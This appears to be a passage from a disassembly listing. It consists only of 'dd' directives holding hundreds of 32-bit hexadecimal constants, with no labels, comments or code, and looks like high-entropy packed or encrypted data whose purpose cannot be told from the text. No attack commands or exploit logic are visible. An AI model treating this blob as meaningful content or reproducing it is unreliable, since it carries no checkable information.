		dd 32C2FE62h, 5C9B1078h, 40A8D0Bh, 5C616378h, 0E17B7AEEh
		dd 0E7DA28C0h, 158B6B15h, 17C8B07Ah, 20FAE1D2h,	4D3C1863h
		dd 165B341h, 1C9F2BE9h,	9C5A0D6Bh, 0D0B8D5D8h, 8C4068D0h
		dd 940585A0h, 3903AEA8h, 0B61EA88h, 2E5D3864h, 49420C4Bh
		dd 5C7826ECh, 0A8C4D814h, 81C3333Dh, 75DED9FBh,	4591F196h
		dd 5D6BC326h, 0C4576E04h, 0B1959AF5h, 0AD2143D3h, 98E0EFFAh
		dd 58ACA0Ch, 1107CEABh,	0ABB5ED90h, 690B0EBCh, 534B1D6Ah
		dd 3A16809Ah, 8AC3FFA0h, 0AA1C3F11h, 0FF3ED40h,	700B7C20h
		dd 970016E4h, 1050258Bh, 0FDF2EB7Ch, 2EB41838h,	238C2012h
		dd 0AA0ABE5Dh, 22961E86h, 5500F89Fh, 0CB51290Ah, 38EC9E7Fh
		dd 0CCE3896Ah, 23A2CE0Ch, 56783453h, 8363CD7Eh,	51F8D449h
		dd 93EB0431h, 0BECFA2FFh, 1F9591BCh, 0D9428229h, 1DC00451h
		dd 0C6E4997Eh, 3927853Ch, 4A40457h, 0E0749713h,	0AB4485Dh
		dd 23E1BE42h, 5A6CEED7h
		dd 0EA264EBFh, 0E4E2C140h, 1FCC4F16h, 1C26F91Ch, 7C18171Bh
		dd 2FC4CF03h, 98C197C3h, 58E5194Ch, 0C5A60F78h,	0EA2737ECh
		dd 7F6A772h, 4C8A62Eh, 0EB51628Ah, 14777381h, 0C41EBA0Eh
		dd 228FAE1Eh, 893B94DFh, 0EDAA3B94h, 6587A9A4h,	0B06AC92h
		dd 54D21785h, 5D8B663Ch, 0A37FA352h, 0F441292Bh, 520C67DDh
		dd 34B00505h, 49E9A09Dh, 8A43579Dh, 81CC82D5h, 0BF2C01E1h
		dd 0FB36FB65h, 84E4BD93h, 0BE74A610h, 0CEB0150Bh, 0D54A4ADh
		dd 4965BF4Bh, 1DA017C0h, 1BB8CDFDh, 0E4C1621Eh,	0F44C4E05h
		dd 0D92EFF07h, 2FFF0DB1h, 55BF7157h, 2BC65F0Eh,	0B1B1B865h
		dd 4885F86Ah, 3595D758h, 6A455260h, 6E825134h, 0CA14756Fh
		dd 3D14B42Ch, 5B592940h, 1C6B5146h, 0CD6B1A63h,	0D1709E50h
		dd 7BC85452h, 0C53D509Eh, 2798019Dh, 70F8D50Eh,	7BA834D2h
		dd 50536D0Ah, 9F4A66ADh, 0B10ABCE9h, 529184E8h,	7041785Ch
		dd 39AA0CFBh, 0B111F25Fh, 6FDDC22Eh, 8F14EAA4h,	8CBB64A6h
		dd 145765DEh, 1EC09141h, 5C286C2h, 5F7FDE2Fh, 0A68EA776h
		dd 0C2318C66h, 40B8DEBh, 2C052228h, 689C043Ah, 97F01C36h
		dd 0A6AEA4F4h, 87714619h, 14E48F45h, 0D914C7EBh, 0E0CF3809h
		dd 75A48D62h, 0CED49B15h, 540A1987h, 0D623B30Bh, 2901A0BCh
		dd 14BC8573h, 75730F9Bh, 0B3AD34DCh, 77728349h,	7A9545D3h
		dd 32FB96E8h, 75033D39h, 266E9662h, 0D2A003A3h,	4E2EA2FFh
		dd 39019788h, 4B9F14D3h, 8D3CA0E2h, 2FDDA92Fh, 745CB006h
		dd 0E0E7206Dh, 0FB124A54h, 44706307h, 0B5D4C870h, 50D4DA82h
		dd 13AD11B9h, 0FE400F2Fh, 42367446h, 4CEB51ECh,	37CD80BAh
		dd 0C4E80AE9h, 22F4188Bh, 750BAF30h, 0CC592251h, 74ECCD10h
		dd 28ADEC64h, 184D145Ch, 8BACA578h, 0C759D777h,	2556DF5Fh
		dd 0FE77A3F6h, 0AD7DD44Eh, 16504EE3h, 71D5A645h, 675A2049h
		dd 0D3ADE0C5h, 0F05AB650h, 75A5BB2h, 1AC2F41Dh,	0BC38FB73h
		dd 0B16C2FF8h, 76B91444h, 0FAA66A05h, 9644C76Eh, 0D589E517h
		dd 0EB63C541h, 0D64EF2BBh, 0EFC2645Eh, 55DD243Ch, 7C6514EDh
		dd 0A4CD85E9h, 29B296Bh, 977A7DA4h, 54E604C6h, 160A18A9h
		dd 6A19219Ah, 5C412117h, 0AFC54A38h, 98E0D16Bh,	51C49044h
		dd 48AB27F2h, 0ACC4F242h, 0B7FE95A5h, 510F14E1h, 7A0A0067h
		dd 0E54BA018h, 920613C8h, 0A43FFCC0h, 9F28019Eh, 6E267C62h
		dd 258F0832h, 0DADA7F61h, 4557B389h, 0BA8B50F5h, 8DA2F1D2h
		dd 1EA9F49h, 0CF43463Ah, 3AFF2E34h, 0AC703D85h,	0B2557162h
		dd 80A5BF80h, 30E874B0h, 0F0A4180Eh, 5B17D493h,	3D772997h
		dd 3E03F853h, 0CD978C55h, 8F0280FCh, 9A3A0482h,	0C8623338h
		dd 0CB1A03A0h, 75B0FF0Bh, 0AA91743Dh, 53266899h, 16F2680Dh
		dd 964B3605h, 52D9408h,	85BA514h, 0D0BC25A8h, 2158CB4Eh
		dd 0BD72169Bh, 0F996BAC5h, 5A1F138h, 0B5B950Bh,	0EE5A71C0h
		dd 0FD7062Ah, 80A2084h,	0A61B1610h, 0FDFA0091h,	0A9A6D00Ch
		dd 80BEE0C5h, 73095033h, 0D014C0DCh, 0B48D7B2Dh, 634A7CC8h
		dd 83183B4Ah, 7C08149h,	0BF020643h, 0BAF8234h, 218EE7EDh
		dd 0CC09238Ch, 0DD219AD0h, 80713CA9h, 0BFA40CDDh, 80B2FBFFh
		dd 0F9723017h, 0B7330D60h, 2E930198h, 0B1AA2478h, 5AF65020h
		dd 7B1982F0h, 0B2F6A297h, 59958452h, 7738F855h,	83BF28A0h
		dd 64255558h, 0B90C8B19h, 29BDDB75h, 4214E045h,	0C0B9478Eh
		dd 3236FC54h, 58F8C184h, 0C99696F3h, 80FA1C11h,	9E659441h
		dd 0AC95C604h, 600B5387h, 0A25F89DFh, 82032280h, 0FC281D0Dh
		dd 2E87559Eh, 8CE85ADh,	81A078C4h, 0A8319FAh, 7A06C632h
		dd 0CD81A33Ah, 0E133E29Bh, 810989CAh, 841A577Fh, 9E922D43h
		dd 0B7852C5Ah, 723FFBE9h, 0FCE2B468h, 188992D5h, 0AE0C4EE7h
		dd 0BBAC9A1Fh, 3E8C07B2h, 0C55C4436h, 422B573Ch, 0B9F0B9Dh
		dd 0C50F86B0h, 0ECF3F552h, 37E8FAE8h, 4078A01Ah, 8A165231h
		dd 90BADB7h, 0E74A622h,	1D4C7FC2h, 0B8C74B0Ah, 4A93BDF7h
		dd 9C46D1B4h, 0D30E45Fh, 56788AB1h, 5D75A8E3h, 0A60D1CBh
		dd 9088C865h, 0CE811D5Ah, 688EE288h, 9259E1A7h,	6B0473A7h
		dd 4536A198h, 19C5331Eh, 36151DD1h, 0B0F40506h,	5ECC5399h
		dd 0BE63FD9Bh, 1BFE262Dh, 90C8C2C5h, 57E0316Ch,	0EB6F1A7Ah
		dd 0AC8E9F8h, 6567C3BEh, 0D159C9CDh, 0C458010Bh, 0B007633Ch
		dd 1048B7D3h, 86BD6CB0h, 19361D95h, 96A44FA4h, 81D6688Ch
		dd 60D1F8B0h, 3369751Ch, 1C504289h, 4205D1D6h, 7316DC16h
		dd 806F1EB8h, 0FC50CA8Ch, 0E4BAD064h, 4A16607h,	0C18E28Bh
		dd 48E0434Ah, 3322C8B6h, 0AC8CD45h, 0C7110606h,	0A8AF1308h
		dd 218D4314h, 28A20DE7h, 6939E5h, 2F05FCA9h, 0F3B335BEh
		dd 0F370EE2Bh, 959112AAh, 8E53BC95h, 76FC8AE3h,	46FCA901h
		dd 0EA3C53F6h, 8BFFDB51h, 0B750C385h, 1CCB30E5h, 0BC168DD2h
		dd 2E63A38Ah, 0A5258DB8h, 297E04Dh, 4C16D292h, 0C5A93BACh
		dd 0FC72137h, 88D4E21Bh, 31425DC1h, 796982EBh, 274AF6C5h
		dd 918B0396h, 0B07EEFA3h, 0BA791CDh, 47A0183Dh,	8C86E259h
		dd 9EAE6099h, 0A38BDA14h, 4E25E17h, 6385AEF8h, 15FA8302h
		dd 47124988h, 760C90C2h, 1F2AC451h, 98CD9376h, 62BB95D1h
		dd 0D77001C3h, 0A49F9D48h, 0D86BC6E1h, 0B430A5FFh, 41217AEh
		dd 4599AFC5h, 99093AFCh, 0D28C724Fh, 0E94B17A3h, 0E0FD4990h
		dd 9617C8E1h, 93D11C2h,	19CF0F98h, 58C4852Ch, 4086F2F2h
		dd 8012C11Eh, 7C5DB7F8h, 3BA843E4h, 5BFBB128h, 0FA9BA718h
		dd 7B157CA7h, 0A8B9EB62h, 81957A83h, 39CA050Ch,	0CDD0C665h
		dd 60F839C7h, 0C03CFBDDh, 8FEFDBB9h, 5B42F417h,	0F28D3E38h
		dd 9F5ABD5h, 5B640258h,	0C6C276EAh, 9641568Dh, 0E2AADCC1h
		dd 0D6AAEBB7h, 5B75BC32h, 3A5734F2h, 0F876A461h, 5D314A21h
		dd 4EBA03F3h, 21DE3DA3h, 4383738h, 9DE80FACh, 12A344CDh
		dd 614D5DE5h, 30E3FE6h,	0ECA1B7E8h, 0EEB5E2F9h,	7BF545B8h
		dd 844666C7h, 0ABAF7186h, 4A6528F4h, 6DA49594h,	8273D255h
		dd 4ADE462h, 8578293h, 88137C4Ch, 5ED6BD91h, 6B142184h
		dd 316A71D3h, 9A924B86h, 3ECF8649h, 38BF566Eh, 0A3326CD1h
		dd 71058708h, 9F36407Dh, 0BC9801C7h, 80A83143h,	0D8C0211Dh
		dd 0E31AEDh, 81057EEFh,	97974A3h, 0B31260B5h, 92CE0Fh
		dd 2B42791Eh, 6A434D2h,	0E782055Ah, 0FED55A02h,	5CF2DEF6h
		dd 0A6893F2Bh, 2930C580h, 77891E4Eh, 404AD83h, 90D3A66Dh
		dd 0A40979EEh, 809496DFh, 0BC224730h, 750C612Ah, 79AA9886h
		dd 0D8B74B18h, 29CFA380h, 0FF287E0Bh, 37D9E93Bh, 96CEF5B3h
		dd 149C4402h, 0CCE78520h, 0A42634D1h, 44331C8Bh, 622CCCE0h
		dd 72E2A2DCh, 5D59044Ah, 26608F33h, 1B2412BDh, 0F770B3EEh
		dd 0FB6DCBA5h, 645FD5C1h, 19179D20h, 3C06E135h,	0E92A4BA5h
		dd 3FC16E05h, 0DBE7C0Fh, 0DC4ED203h, 0E82DEAA4h, 433221EFh
		dd 0EE93CE68h, 0E0F9C730h, 20F7E103h, 0F18A97B0h, 0D8B1AE96h
		dd 24D84297h, 7F0C1D2Fh, 16266FF1h, 0FBAB4D54h,	0D2BAA249h
		dd 3668A271h, 370A5598h, 8230255Ch, 0BB6CAFC7h,	3F1FC86Fh
		dd 0AE0E5F98h, 0A1467CA7h, 7D0CC4F4h, 0E1116368h, 0F965CC0Fh
		dd 0E90510C6h, 2D2880E2h, 51B2634Ah, 0CD4A6321h, 0C7A7ABF2h
		dd 0EFF3F31Ah, 0E117597Ch, 9BD015CCh, 0E8A9A2Ah, 0D43C5EF8h
		dd 0E6C51D91h, 1F6950F1h, 0AC632C6Bh, 22928B2Bh, 1A68F8C7h
		dd 31F49469h, 8CD5B172h
		dd 781F90A4h, 6BFFB83Eh, 2808AE5Bh, 0F6369E2Dh,	32CCF99h
		dd 0BD66169Fh, 1B7C118Ch, 18C33093h, 2A7A8FF4h,	603EC92Ah
		dd 3C9CF0ACh, 7C687DE0h, 0CDE4677Ch, 0BEDCCE82h, 975922A2h
		dd 0D3624229h, 8F93343h, 936CE339h, 0F356130Eh,	0F204CAE4h
		dd 9F180F9h, 9805C657h,	4FF5B81Dh, 1D631619h, 426114DDh
		dd 0A0D2782Dh, 0E18FE565h, 0CD5F8F3Bh, 942EEAC7h, 8F0363C7h
		dd 9CE49A32h, 0AD462130h, 44160494h, 0C5061B0Dh, 66F18D42h
		dd 1A5CE3B0h, 0A9C901B7h, 0E1F57A45h, 45C09442h, 0E4460C06h
		dd 6D1E8A5Eh, 0FB79B73Ch, 90451BBh, 0B377013Dh,	1E150EE2h
		dd 0FF1682CDh, 21650E23h, 6324D316h, 0ECAFC4E6h, 0F019D020h
		dd 7EBC19C5h, 0C5EDA200h, 88624F99h, 6235D5B8h,	7FA113ECh
		dd 0D4E645F8h, 3FBE8B8Dh, 92E96E47h, 0E0CE05B5h, 9F1006A3h
		dd 95BBC5EFh, 557D1587h, 96CB84CDh, 0F64209F0h,	2A1F22AAh
		dd 22976126h, 0C1CFF302h, 5D9050Dh, 8FC56C13h, 0FDFFF230h
		dd 549F5D81h, 0E5EB153Fh, 0DDAFAED3h, 54F7A091h, 2AEA58Eh
		dd 0FE55B58Bh, 85888E98h, 4F2AE8FEh, 1BEBAE1Bh,	0D5ADF9F3h
		dd 0D05B8848h, 0FD904478h, 0F07CAD85h, 4420BB68h, 7EE0D26Bh
		dd 0ECC2484Bh, 0DFC14E0Eh, 137D1243h, 0A0313D41h, 2B370B04h
		dd 1A1484Fh, 0EE0769C3h, 0ACDCDF74h, 6031C662h,	2BE4BBD7h
		dd 6985822Bh, 582D2F77h, 0D462D2AAh, 54271163h,	10A11F65h
		dd 56980B41h, 3A18A9B1h, 7C8C4F62h, 113F9A7Fh, 1208924Ch
		dd 760E5A22h, 0F16D08DEh, 2F5CD058h, 0F47A87CDh, 4496CED5h
		dd 0B86011CFh, 482DE946h, 5139FFA8h, 4FFC445Dh,	1E0C4614h
		dd 5DEFD9FDh, 0AA863555h, 0A32C12Bh, 0D22AC8E5h, 0D1F4F6E5h
		dd 6B47CBBBh, 0C9D1E351h, 5402F15Ch, 0F92A5CCCh, 0CC308ACAh
		dd 0FC3AB421h, 0A0FF2975h, 3E9C0633h, 87BB4438h, 88D96C1Ah
		dd 0F38050A1h, 8800A1F6h, 4095234Eh, 0E89FAD5Ah, 12AE7A60h
		dd 4ADE653Dh, 0D6E4895Fh, 922D5122h, 32D8B5Dh, 4B1C7EB8h
		dd 0DD229C14h, 18DD48B5h, 1353C4AEh, 9A3CB3FEh,	0BA2BA2B1h
		dd 10FA58E8h, 36806E47h, 4DC3310Fh, 0DBC12A97h,	0F2A5CCAFh
		dd 7E180899h, 3A2E64F0h, 0E8AA780Fh, 4A109B1Eh,	4E7089C9h
		dd 0F134C881h, 4EE8405Fh, 2BF8DF44h, 6D907F47h,	0CBA2D5AAh
		dd 0B977D58Ch, 0D5615780h, 3E02BA48h, 95F47455h, 3D8607D3h
		dd 15477126h, 7413B06h,	2E1084F8h, 57FBB1F4h, 0E153B45Ch
		dd 0EEB326D1h, 67079DF3h, 9675FBFh, 0A50DC188h,	80289190h
		dd 8A17CF4h, 61D6606h, 0A17AF250h, 0CEAE1BE0h, 18628549h
		dd 0A64DACC8h, 460F3D71h, 2D33D67Eh, 8503495Dh,	0F963DEC5h
		dd 8D3E0E51h, 666D2A63h, 81CD888Fh, 22B7337Dh, 0F645E514h
		dd 184C1D79h, 9DE02B80h, 3B85B9A4h, 0CB412281h,	901750FCh
		dd 1E641605h, 0EA1DE857h, 525C99F9h, 0A30FB1D1h, 0B8FD8E5Dh
		dd 73C44543h, 0C7C278ABh, 0AFEE115Dh, 0AEB5046h, 59FF7446h
		dd 8244F73h, 3C123154h,	0A5749305h, 7862083Ah, 59572B80h
		dd 4630FD18h, 7486AEB1h, 0E4101211h, 0E7A3BB20h, 6D8B1D38h
		dd 0E9C70A98h, 90D7877Fh, 0A87EDE31h, 20B8AE26h, 90ACA782h
		dd 0A08A5590h, 0AE35C4DFh, 74BC12E3h, 5A2DF91Ch, 0C4EF85F8h
		dd 7C2D5FEAh, 47BCE189h, 709865Dh, 7BC65DCBh, 0D2749506h
		dd 0FE8426A8h, 2A58D195h, 82BBBC53h, 6C71382Ah,	6819953Ch
		dd 2A9051F4h, 90172E36h, 9500ED74h, 66BBEEFDh, 0F5DDCD83h
		dd 0F89B0B9Dh, 7A53A21h, 70341681h, 95D301C2h, 0A5B59535h
		dd 49209EAEh, 87E33220h, 0FF2E5C0Eh, 0D2991145h, 130A1B22h
		dd 70BEFA0Eh, 4405A47Ch, 4C1FD0Dh, 0CC687708h, 4D08F8BFh
		dd 0B6118D30h, 1DF610B5h, 291795E2h, 2A9FA3C1h,	7E614BB6h
		dd 0D33E05C0h, 1E0C466Dh, 108094E4h, 7FDA59F1h,	7BF7CA0h
		dd 0CE714F27h, 0E828CB85h, 8173A890h, 35254053h, 1853154Ch
		dd 4C050AEAh, 10A4F91h,	6496F7FDh, 92239812h, 23281575h
		dd 50264991h, 92689144h, 0C94D6069h, 2EB55282h,	418FF444h
		dd 0B517BF6Dh, 0C716C15Ah, 95F77B7Eh, 375C6206h, 40B6D18Ch
		dd 206F9E73h, 5227672h,	400C0FC4h, 0CC9B016h, 136D12h
		dd 94142847h, 28B1525h,	95D8FF17h, 87D3924Ah, 1F4BAA05h
		dd 44130139h, 63DF8968h, 2B1ED76Fh, 5A760F2Ah, 0A8254591h
		dd 0E8A61496h, 0D60867A3h, 63D4E263h, 6EC985C9h, 0AA442CEAh
		dd 0B0CB389Ch, 0FF3DC3C7h, 0BDC139D0h, 9C56C222h, 815460A3h
		dd 241F1566h, 2637E060h, 0EFF0B6D9h, 100D2E3Ch,	0CC1BCD21h
		dd 32A8C669h, 19E4AF4Ch, 335C0310h, 61B7698Ah, 220F06A6h
		dd 0E2694866h, 357A47A0h, 3489AE23h, 0E7174618h, 5E32DF22h
		dd 0C266C6D0h, 8D07462Dh, 38C401ABh, 0DBFF33EBh, 59762C5Ah
		dd 8F20147h, 0CF323D05h, 0A55721C5h, 45C149E2h,	62E7C053h
		dd 0AA3B254h, 99CCDD1Fh, 0B3FEE841h, 0B9119FB9h, 6262CBA9h
		dd 3114C868h, 17D7A9A7h, 8FAC834h, 40332565h, 9FD02A78h
		dd 6A8F6817h, 0A3AEC132h, 2FC13B62h, 0C94C1360h, 47420305h
		dd 34BEF84Eh, 40D91F82h, 5D5DE8Ah, 11026ACAh, 6320A1C2h
		dd 0C5F1F596h, 890C62F2h, 1C49E56Ch, 66C1F723h,	4A78544h
		dd 8393174Fh, 2D84E280h, 9AA07883h, 0DB1FD5EFh,	87E721Fh
		dd 0F898F5B2h, 0A1D42097h, 3281FADCh, 0E627F587h, 5E880DCh
		dd 0BB468BC6h, 0FDF63B0Eh, 9C87F950h, 0E9C9240Fh, 0BD50C86Ah
		dd 2EB0ADEBh, 0E1F35914h, 65F9481Fh, 0EC6A9121h, 3892DF63h
		dd 1518524Ah, 138A40B1h, 0A1AA2DF2h, 40228B82h,	0AC07A34Ch
		dd 0FCACC0EEh, 5F7E2498h, 54E52E22h, 1B4FC665h,	0E4AC8A83h
		dd 0DA212A25h, 0F53E7C19h, 6D5975Ah, 0D2CEAE0Ch, 8445B8E3h
		dd 9D335960h, 0D668718Ch, 0AB2A1875h, 37D8FB68h, 72767945h
		dd 0BB6261B1h, 0F6285218h, 7597EA1Dh, 0FD3E4A0Ch, 340CD7C7h
		dd 7D660CF7h, 72563BBDh, 4E749CA8h, 6D06C1Bh, 10EB1512h
		dd 0DBC23BB1h, 0F31A655Ch, 602902A3h, 385F7843h, 8E4A6830h
		dd 9ED81252h, 0EBB08049h, 7FD357AAh, 390E7870h,	215B297h
		dd 0D5923691h, 0C768B883h, 11D5173Bh, 0B0CD5022h, 0A90568Eh
		dd 32034306h, 17FC2687h, 6912CA95h, 0FEA726B5h,	62FBA7D3h
		dd 0B4D749C5h, 348BF867h, 79108A2Ch, 294943E8h,	4E409BFh
		dd 0EB9450E3h, 90769A15h, 0CD18B45Eh, 1E600B02h, 889D37F9h
		dd 45A36083h, 86631DA3h, 22834891h, 1910CC6Bh, 79184684h
		dd 0CC4CCA0Ch, 1987B63Ah, 862E1C26h, 0A189942Eh, 416BEAFCh
		dd 38ABCCB5h, 374ECACFh, 929214EEh, 5B50D300h, 7F3532E4h
		dd 4436B43Eh, 415E97D8h, 6584D709h, 0AD619885h,	0AB45CC23h
		dd 0C1CAC8A6h, 56149DCAh, 0AE2CDC8Dh, 0B4E12F27h, 0DAC3C6BAh
		dd 0E5725970h, 0B55C9745h, 0B4D3A94Ah, 0FA341271h, 0ED8A4A90h
		dd 50266F29h, 3B72AD22h, 980646C5h, 0B464589Ah,	2F636505h
		dd 0E44EFA22h, 4BA38963h, 16816FB1h, 2033E62Eh,	0F0F15F39h
		dd 53C524BFh, 198A62B9h, 0C1EE4797h, 0E306FD01h, 0DE1C5E2Ah
		dd 5A97A2EFh, 5DB9E050h, 0B2729324h, 2BB76168h,	300C5A32h
		dd 0B07E2C9Ch, 0D1F18250h, 47E80842h, 3E0105C5h, 633CFEBEh
		dd 900CA4Ah, 39038C28h,	0DC5A592Bh, 0F8CA0551h,	0FE8AA521h
		dd 94BF6h, 0B1F34D25h, 8625E486h, 30BA749Ah, 0E4524149h
		dd 34543F2Ch, 0C5D21489h, 0B0095D0Bh, 49081A56h, 1121F084h
		dd 66EB12C4h, 0D2D041B8h
		dd 8220130Bh, 1C63E09Bh, 86766CADh, 62C8B63Ch, 872C31F4h
		dd 194EA312h, 6097A6DEh, 0ADF1FB70h, 0A6CD4841h, 11FBDC1Fh
		dd 0B3221A3Dh, 47F09F81h, 3F8F4C71h, 176E07E3h,	64E41D40h
		dd 0D1A9F030h, 2973F03Ch, 6542DD36h, 0C0978CB1h, 0A04E272Ch
		dd 69082938h, 74DBF957h, 14371E99h, 64C99146h, 2B2B4F5Ch
		dd 63A5001Dh, 0EB8BA178h, 3F5E537Ah, 3592724h, 31F05629h
		dd 4411A80Dh, 79A798CDh, 509F751Bh, 40980149h, 37D53222h
		dd 177BE30h, 1D2CAD1Bh,	3D7634C7h, 4E9F9C94h, 202A53FDh
		dd 9746D851h, 1382B6BEh, 4894A27h, 0ECAA218Ah, 3E3240Bh
		dd 0F4AACC45h, 3A443F80h, 44822533h, 1886E02Bh,	1CF07F7h
		dd 43046FF6h, 9DAFE369h, 0B98894C1h, 4E60AB6Eh,	0F248B014h
		dd 0E754B605h, 0B2509A82h, 0EB0E07C9h, 596B16A9h, 16585A1h
		dd 0A0EB5725h, 0AF7C70B1h, 114526ACh, 3F202423h, 43F65828h
		dd 0FEA19FAh, 143487F1h, 4C271FE4h, 0DF2CC552h,	8C936EC6h
		dd 8453B49Dh, 2C3AF08h,	3A8574FBh, 78CA2743h, 0E632D126h
		dd 0C519DA27h, 0AFFD87E1h, 0D1B53D38h, 32B292C5h, 0CD0440ABh
		dd 0E6FC069h, 0FAA0DA50h, 4D1552C1h, 0E5C2AABAh, 0A5C4295Fh
		dd 2810041Bh, 0F85EE94Ah, 0AA4A4261h, 0EF7A3ADh, 0C1A07D90h
		dd 0F1B4211Eh, 6AEFEEC1h, 5606DEC1h, 827D82A2h,	4FE0031Eh
		dd 0A058CB5Eh, 2448E9DEh, 0CACD68E0h, 6B28AB85h, 13C17016h
		dd 24C16AC1h, 4AB23982h, 0C32AE1CFh, 0AF32C14Ch, 0C2E10617h
		dd 235704BFh, 6BFECC1Bh, 1DD82227h, 0DDBABC7h, 0C7F606Eh
		dd 0EBB02690h, 47A10914h, 8669301Dh, 0D37B0245h, 0A4FC7CA4h
		dd 8006373Bh, 0E09CB949h, 21474800h, 0CB7B44FBh, 0C03DECA1h
		dd 4BE80DA7h, 0F4F6B340h, 1C8BF57Fh, 7AF0BC8Bh,	0C283138Fh
		dd 21D88C06h, 5CB26589h, 3E80550Fh, 0E559677Bh,	0A8C32490h
		dd 7831177Bh, 66FCB260h, 0F8778540h, 0F350C321h, 6A091179h
		dd 14D42E54h, 0C5341629h, 2997B173h, 9580C73h, 804D4B98h
		dd 78C2E4B8h, 0C401854Bh, 1ED87965h, 20048ED1h,	483A2452h
		dd 4898BAC4h, 0F05A5A86h, 4B85C537h, 3EB12CC9h,	45543AFBh
		dd 99C67F85h, 0D998F531h, 2F49BAC2h, 31BCE90Bh,	0B27F45F8h
		dd 44133BCCh, 3E9FFAE7h, 0C70CC002h, 60238B1Fh,	218F087Fh
		dd 825704A3h, 230218h, 192894AEh, 927D1C03h, 6DA808CBh
		dd 0ACD0696h, 0D51E7344h, 0DC3B7313h, 0C59DC4DDh, 21D5A829h
		dd 97E18266h, 3D011B34h, 0C8E47F2Bh, 0E573067Bh, 0EB8692EAh
		dd 96AC6EA9h, 0A34BFD7Eh, 8C2E1185h, 108202F4h,	7B726A75h
		dd 443D5FA2h, 0B54DA240h, 3F64772Ah, 0E41784ACh, 24EC08EEh
		dd 0AB92C0C7h, 8A184907h, 7AE743E0h, 1463E4CCh,	597E2ADh
		dd 0AF7B8FCh, 6E257007h, 0E61FC1Fh, 94812F5h, 390509BFh
		dd 635BEDCh, 743ED7DAh,	0A40F3610h, 0F3313A55h,	0DEF22E83h
		dd 0EB27142Fh, 997AD0E6h, 2C5D7823h, 0A192AD1Eh, 0A1695AB9h
		dd 0E5544F9Dh, 9614C6FCh, 0AFB7E724h, 0F04A8EC5h, 53BE0CC1h
		dd 0DC7740FBh, 9C255DCBh, 100D8004h, 48AFA242h,	5D218AD9h
		dd 60BAC583h, 0F1854E8Ah, 183F0227h, 101707BCh,	0F438DC14h
		dd 9464AAE9h, 0B9EB1011h, 0D3770EF2h, 0B81D605h, 0D03F0A43h
		dd 177023B6h, 0D8C32256h, 79EC0C50h, 0BA301011h, 0EFAF7006h
		dd 5AF93FCCh, 97EA7D92h, 0C93930C3h, 283FE60Eh,	9C08403h
		dd 4C53C751h, 0F3C4FBECh, 119EBE9Dh, 9C00E4ADh,	5D61BDAFh
		dd 3165A0B2h, 0F5D73C7Ah, 4DCCC6h, 0A25A7B9h, 9145043Ch
		dd 93E93A7Bh, 14C23088h, 0A7B8EE4Dh, 489A24Bh, 0E3D1D453h
		dd 243A1E9Eh, 44834C32h, 4BFF7B92h, 0CCF0A58Ah,	59C47630h
		dd 97A05BA7h, 51038E82h, 31B6C72Dh, 75484C5Bh, 1945268Ch
		dd 49CB6451h, 4FA05E5Ch, 0A078AD73h, 0EC09DF43h, 0D05DB9ABh
		dd 3B628CBCh, 482EF3AAh, 2E92A506h, 0D248F084h,	3613E59Bh
		dd 14437644h, 1C5F3E48h, 0E6CDF29Ch, 1203E553h,	0EBE9E6C1h
		dd 1DD94625h, 56BE856Ch, 0A5950215h, 23A2C751h,	0C2F5825h
		dd 338AE433h, 0CEEB33ECh, 746B7407h, 793D1858h,	3BCE540Eh
		dd 71A70F8Ah, 5D94BB56h, 0EAB520C7h, 0F5753AEBh, 45574128h
		dd 12CAFB73h, 345CA6D3h, 4AAFB8F9h, 0C189B610h,	3D25AE80h
		dd 8FE48B2Fh, 1AAE9F7h,	0BB30BED5h, 0E94A85DBh,	6A0F741Eh
		dd 3F3BAB55h, 6DC9528Fh, 40FE3CBEh, 0F5D7C782h,	1375B388h
		dd 0C4C779FFh, 0BC7FAB74h, 943A40B8h, 565E8F05h, 0C484DF0Fh
		dd 18256A27h, 5EAF8C58h, 54F3602Eh, 5352AF23h, 0B08A8559h
		dd 1DF92A28h, 9C78B0E4h, 5D213C37h, 0A2020873h,	13132BA2h
		dd 3013C413h, 88052BBh,	0D99AE64Dh, 33464D1Bh, 5CF364DCh
		dd 552504DFh, 0FD27FF07h, 370C9210h, 77AA624h, 62D1C795h
		dd 7CD08CCAh, 4A68307Ch, 8F5166ADh, 195E3841h, 0B5D84B62h
		dd 1749309Dh, 0D217FFA2h, 3F792ECh, 0B09E5D4Eh,	0E7C42038h
		dd 0C6A1424Dh, 4D86A609h, 25BB7FDFh, 0A9BD1B45h, 580C12CAh
		dd 0CB3266DEh, 9C5301F0h, 0FD05E7CEh, 210CC60Ch, 15324779h
		dd 80B350A5h, 0DDAC21FFh, 46A04650h, 72E90205h,	0B9248465h
		dd 347CF962h, 8BB2CE6Ah, 270067AEh, 7E4FBE60h, 0A75F9904h
		dd 318B886Bh, 747D318Fh, 0A4D33189h, 1F78312Bh,	7F205149h
		dd 0A7C51570h, 67FAEE12h, 62918CC4h, 41D4BA18h,	0D1F0A10Ch
		dd 0B3D0B40Ah, 622ABDB2h, 6C72A473h, 0A860664h,	3770AD0Dh
		dd 0EA7337E6h, 608D3E18h, 0CA0DD70Dh, 0AD04A060h, 30D8A2A8h
		dd 8B2656AFh, 0D1009E40h, 0B1954818h, 34C056D9h, 680C0563h
		dd 0B739582Dh, 0AE2A668Bh, 78B18D3Ch, 0C447110Dh, 432AA553h
		dd 685A6F96h, 20028436h, 697DEE95h, 88C26B28h, 40CB20F3h
		dd 3B85E0EFh, 0C4A9142Ch, 0E7D017E6h, 51D7AE02h, 1A4D426Dh
		dd 1A64795Dh, 4A7027ABh, 2A60FEE7h, 0CFE3C61Dh,	8163CD08h
		dd 0F74D83E7h, 3E606090h, 5758589Bh, 92962939h,	1FFA582Eh
		dd 61050FE8h, 8CA0AF56h, 441CA46h, 6881D48Eh, 0A2872747h
		dd 25A1BCA4h, 1507C151h, 2B27C059h, 47DEE9DAh, 3B27B1C7h
		dd 2AEEDBAh, 0BFFE0ED5h, 331CDD65h, 0A11CB8ADh,	248971E0h
		dd 0B07FF847h, 0E57EC059h, 60C48BC2h, 803C7174h, 2FE7F9A5h
		dd 0C81AB4A3h, 5D905336h, 0E72C60E8h, 0F62F66B6h, 6438D398h
		dd 24628D74h, 601CE281h, 0E481EBF9h, 95FF90Dh, 47F026C8h
		dd 0F23B18A7h, 4D03AAE3h, 32BAB05Eh, 5557B7D1h,	0E1AF5628h
		dd 33823DA6h, 557FA5CDh, 265503A5h, 0C872BFA8h,	33B9DC13h
		dd 0C028A82Fh, 8AA8BF55h, 8524C580h, 0D7580085h, 5DAAE70Fh
		dd 0D7009DF1h, 8446D0CDh, 7E110912h, 587C2328h,	550055CBh
